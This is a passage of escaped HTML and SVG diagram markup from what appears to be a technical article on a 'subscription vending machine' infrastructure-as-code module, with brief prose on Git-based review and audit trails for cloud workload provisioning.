style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='212' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='228' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='228' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='228' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='212' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='228' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='212' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='228' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='212' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='212' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='228' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='212' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='212' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='212' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='228' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='228' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='228' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='116' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='276' fill='currentColor' style='font-size:1em'\u003e8\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='292' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='276' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='292' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='292' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='276' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='292' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='276' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='292' fill='currentColor' style='font-size:1em'\u003e+\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='276' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='276' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='292' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='276' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='292' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='276' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='276' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='292' fill='currentColor' style='font-size:1em'\u003e+\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='292' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='292' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='292' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='292' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='292' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eDefine your workloads in a YAML or JSON file in a Git repository and you get a full audit trail automatically — who requested what, when, and what changed. Your team reviews and approves the PR. The automation handles the rest.\u003c/p\u003e\n\u003ch2 id=\"2-the-subscription-vending-machine\"\u003e2. The Subscription Vending Machine\u003c/h2\u003e\n\u003cp\u003eThe vending machine is a modular IaC module that coordinates six deployment steps in sequence.\u003c/p\u003e\n\u003ch3 id=\"the-subscription-vending-machine-architecture\"\u003eThe Subscription Vending Machine Architecture\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 400 233\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,16 L 384,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,48 L 216,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,48 L 384,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,112 L 208,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 224,112 L 384,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,208 L 384,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,16 L 48,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,112 L 48,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,48 L 216,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,96 L 216,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,16 L 384,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,112 L 384,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='224.000000,112.000000 212.000000,106.400002 212.000000,117.599998' fill='currentColor' transform='rotate(90.000000, 216.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='132' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='148' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='164' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='164' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='164' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='148' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='164' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='164' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='164' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='148' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='164' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='148' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='164' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='148' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='164' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='164' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='148' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='164' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='148' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='36' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='164' 